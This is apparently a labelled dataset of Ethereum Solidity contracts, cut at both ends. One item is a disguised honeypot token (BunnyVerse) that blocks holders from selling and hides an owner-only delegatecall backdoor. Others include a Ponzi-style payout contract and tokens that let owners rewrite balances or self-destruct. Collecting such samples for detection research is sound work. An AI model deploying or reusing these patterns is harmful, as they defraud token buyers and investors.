_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BunnyVerse {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,179 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns(uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns(uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns(uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns(uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) public constant returns(uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns(uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract VT201811003 {
using SafeMath for uint256;
event Released(uint256 amounts);
event InvalidCaller(address caller);
address public owner;
address[] private _beneficiary ;
uint256 private _locktime;
uint256 private _unlocktime;
uint256[] private _amount;
constructor() public
{
owner = msg.sender;
_unlocktime =0;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function beneficiary() public view returns(address[]) {
return _beneficiary;
}
function unlocktime() public view returns(uint256) {
return _unlocktime;
}
function locktime() public view returns(uint256) {
return _locktime;
}
function amount() public view returns(uint256[]) {
return _amount;
}
function setLockTime(uint256 locktimeParam,uint256 unlocktimeParam) public onlyOwner{
_unlocktime = unlocktimeParam;
_locktime = locktimeParam;
}
function setUserInfo(address[] beneficiaryParam,uint256[] amountParam) public onlyOwner{
if( block.timestamp <=_locktime){
_beneficiary = beneficiaryParam;
_amount = amountParam;
}
}
function release(ERC20 token) public {
for(uint i = 0; i < _beneficiary.length; i++) {
if(block.timestamp >= _unlocktime ){
token.transfer(_beneficiary[i], _amount[i].mul(10**18));
emit Released( _amount[i]);
_amount[i]=0;
}
}
}
function checkRelease(ERC20 token) public {
uint _unRelease = 0;
for(uint i = 0; i < _amount.length; i++) {
_unRelease = _unRelease.add(_amount[i]);
}
if(_unRelease==0 && block.timestamp >= _unlocktime ){
token.transfer(owner,token.balanceOf(this));
}
}
} | 0 | 136 |
pragma solidity ^0.4.24;
contract Exodus21{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 21;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x4553d99872248020CC4C37519a4156167170E3C6;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 628 |
pragma solidity ^0.4.20;
contract TokenERC20
{
string public name;
string public symbol;
uint8 public decimals;
uint256 _decimals;
uint256 public tokenReward;
uint256 public totalSupply;
address public owner;
string public status;
uint256 public start_token_time;
uint256 public stop_token_time;
uint256 public transferLock;
modifier isOwner
{
assert(owner == msg.sender);
_;
}
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
event token_Burn(address indexed from, uint256 value);
event token_Add(address indexed from, uint256 value);
event Deposit(address _sender, uint amount ,string status);
event change_Owner(string newOwner);
event change_Status(string newStatus);
event change_Name(string newName);
event change_Symbol(string newSymbol);
event change_TokenReward(uint256 newTokenReward);
event change_Time_Stamp(uint256 change_start_time_stamp,uint256 change_stop_time_stamp);
function TokenERC20() public
{
name = "GMB";
symbol = "MAS";
decimals = 18;
_decimals = 10 ** uint256(decimals);
tokenReward = 0;
totalSupply = _decimals * 10000000000;
status = "Private";
start_token_time = 1514732400;
stop_token_time = 1546268399;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
transferLock = 1;
}
function() payable public
{
uint256 cal;
require(start_token_time < block.timestamp);
require(stop_token_time > block.timestamp);
emit Deposit(msg.sender, msg.value, status);
cal = (msg.value)*tokenReward;
require(balanceOf[owner] >= cal);
require(balanceOf[msg.sender] + cal >= balanceOf[msg.sender]);
balanceOf[owner] -= cal;
balanceOf[msg.sender] += cal;
emit Transfer(owner, msg.sender, cal);
}
function transfer(address _to, uint256 _value) public
{
require(transferLock == 0);
require(balanceOf[msg.sender] >= _value);
require((balanceOf[_to] + _value) >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
}
function admin_transfer(address _to, uint256 _value) public isOwner
{
require(balanceOf[msg.sender] >= _value*_decimals);
require(balanceOf[_to] + (_value *_decimals)>= balanceOf[_to]);
balanceOf[msg.sender] -= _value*_decimals;
balanceOf[_to] += _value*_decimals;
emit Transfer(msg.sender, _to, _value*_decimals);
}
function admin_from_To_transfer(address _from, address _to, uint256 _value) public isOwner
{
require(balanceOf[_from] >= _value*_decimals);
require(balanceOf[_to] + (_value *_decimals)>= balanceOf[_to]);
balanceOf[_from] -= _value*_decimals;
balanceOf[_to] += _value*_decimals;
emit Transfer(_from, _to, _value*_decimals);
}
function admin_token_burn(uint256 _value) public isOwner returns (bool success)
{
require(balanceOf[msg.sender] >= _value*_decimals);
balanceOf[msg.sender] -= _value*_decimals;
totalSupply -= _value*_decimals;
emit token_Burn(msg.sender, _value*_decimals);
return true;
}
function admin_token_add(uint256 _value) public isOwner returns (bool success)
{
require(balanceOf[msg.sender] >= _value*_decimals);
balanceOf[msg.sender] += _value*_decimals;
totalSupply += _value*_decimals;
emit token_Add(msg.sender, _value*_decimals);
return true;
}
function change_name(string _tokenName) public isOwner returns (bool success)
{
name = _tokenName;
emit change_Name(name);
return true;
}
function change_symbol(string _symbol) public isOwner returns (bool success)
{
symbol = _symbol;
emit change_Symbol(symbol);
return true;
}
function change_status(string _status) public isOwner returns (bool success)
{
status = _status;
emit change_Status(status);
return true;
}
function change_tokenReward(uint256 _tokenReward) public isOwner returns (bool success)
{
tokenReward = _tokenReward;
emit change_TokenReward(tokenReward);
return true;
}
function ETH_withdraw(uint256 amount) public isOwner returns(bool)
{
owner.transfer(amount);
return true;
}
function change_time_stamp(uint256 _start_token_time,uint256 _stop_token_time) public isOwner returns (bool success)
{
start_token_time = _start_token_time;
stop_token_time = _stop_token_time;
emit change_Time_Stamp(start_token_time,stop_token_time);
return true;
}
function change_owner(address to_owner) public isOwner returns (bool success)
{
owner = to_owner;
emit change_Owner("Owner_change");
return true;
}
function setTransferLock(uint256 transferLock_status) public isOwner returns (bool success)
{
transferLock = transferLock_status;
return true;
}
function change_time_stamp_status(uint256 _start_token_time,uint256 _stop_token_time,string _status) public isOwner returns (bool success)
{
start_token_time = _start_token_time;
stop_token_time = _stop_token_time;
status = _status;
emit change_Time_Stamp(start_token_time,stop_token_time);
emit change_Status(status);
return true;
}
} | 0 | 334 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DLC_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "Dream Land Coin";
string public symbol = "DLC";
uint8 public constant decimals = 8;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 100000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0 | 390 |
pragma solidity ^0.4.21;
contract Token {
function totalSupply () public constant returns (uint256 supply);
function balanceOf (address _owner) public constant returns (uint256 balance);
function transfer (address _to, uint256 _value) public returns (bool success);
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success);
function approve (address _spender, uint256 _value) public returns (bool success);
function allowance (address _owner, address _spender) constant
public returns (uint256 remaining);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
function safeSub (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x >= y);
return x - y;
}
function safeMul (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
if (y == 0) return 0;
assert (x <= MAX_UINT256 / y);
return x * y;
}
}
contract AbstractToken is Token, SafeMath {
function AbstractToken () public {
}
function balanceOf (address _owner) public constant returns (uint256 balance) {
return accounts [_owner];
}
function transferrableBalanceOf (address _owner) public constant returns (uint256 balance) {
if (holds[_owner] > accounts[_owner]) {
return 0;
} else {
return safeSub(accounts[_owner], holds[_owner]);
}
}
function transfer (address _to, uint256 _value) public returns (bool success) {
require (transferrableBalanceOf(msg.sender) >= _value);
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
if (!hasAccount[_to]) {
hasAccount[_to] = true;
accountList.push(_to);
}
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
require (allowances [_from][msg.sender] >= _value);
require (transferrableBalanceOf(_from) >= _value);
allowances [_from][msg.sender] =
safeSub (allowances [_from][msg.sender], _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (accounts [_from], _value);
if (!hasAccount[_to]) {
hasAccount[_to] = true;
accountList.push(_to);
}
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
function allowance (address _owner, address _spender) public constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => bool) internal hasAccount;
address [] internal accountList;
mapping (address => mapping (address => uint256)) private allowances;
mapping (address => uint256) internal holds;
}
contract PonderAirdropToken is AbstractToken {
mapping (address => bool) private owners;
address private supplyOwner;
bool frozen = false;
function PonderAirdropToken () public {
supplyOwner = msg.sender;
owners[supplyOwner] = true;
accounts [supplyOwner] = totalSupply();
hasAccount [supplyOwner] = true;
accountList.push(supplyOwner);
}
function totalSupply () public constant returns (uint256 supply) {
return 480000000 * (uint256(10) ** decimals());
}
function name () public pure returns (string result) {
return "Ponder Airdrop Token";
}
function symbol () public pure returns (string result) {
return "PONA";
}
function decimals () public pure returns (uint8 result) {
return 18;
}
function transfer (address _to, uint256 _value) public returns (bool success) {
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _currentValue, uint256 _newValue)
public returns (bool success) {
if (allowance (msg.sender, _spender) == _currentValue)
return approve (_spender, _newValue);
else return false;
}
function setOwner (address _address, bool _value) public {
require (owners[msg.sender]);
require (_value == true || _address != msg.sender);
owners[_address] = _value;
}
function initAccounts (address [] _to, uint256 [] _value) public {
require (owners[msg.sender]);
require (_to.length == _value.length);
for (uint256 i=0; i < _to.length; i++){
uint256 amountToAdd;
uint256 amountToSub;
if (_value[i] > accounts[_to[i]]){
amountToAdd = safeSub(_value[i], accounts[_to[i]]);
}else{
amountToSub = safeSub(accounts[_to[i]], _value[i]);
}
accounts [supplyOwner] = safeAdd (accounts [supplyOwner], amountToSub);
accounts [supplyOwner] = safeSub (accounts [supplyOwner], amountToAdd);
if (!hasAccount[_to[i]]) {
hasAccount[_to[i]] = true;
accountList.push(_to[i]);
}
accounts [_to[i]] = _value[i];
if (amountToAdd > 0){
emit Transfer (supplyOwner, _to[i], amountToAdd);
}
}
}
function initAccounts (address [] _to, uint256 [] _value, uint256 [] _holds) public {
setHolds(_to, _holds);
initAccounts(_to, _value);
}
function setHolds (address [] _account, uint256 [] _value) public {
require (owners[msg.sender]);
require (_account.length == _value.length);
for (uint256 i=0; i < _account.length; i++){
holds[_account[i]] = _value[i];
}
}
function getNumAccounts () public constant returns (uint256 count) {
require (owners[msg.sender]);
return accountList.length;
}
function getAccounts (uint256 _start, uint256 _count) public constant returns (address [] addresses){
require (owners[msg.sender]);
require (_start >= 0 && _count >= 1);
if (_start == 0 && _count >= accountList.length) {
return accountList;
}
address [] memory _slice = new address[](_count);
for (uint256 i=0; i < _count; i++){
_slice[i] = accountList[i + _start];
}
return _slice;
}
function freezeTransfers () public {
require (owners[msg.sender]);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
function unfreezeTransfers () public {
require (owners[msg.sender]);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
event Freeze ();
event Unfreeze ();
function kill() public {
if (owners[msg.sender]) selfdestruct(msg.sender);
}
} | 1 | 3,895 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DSHORT is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xa24edbb19cba1e1a304fc91fea2a1bdc8b369d36);
address private admin = msg.sender;
string constant public name = "F3DSHORT";
string constant public symbol = "F3DSHORT";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 4 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
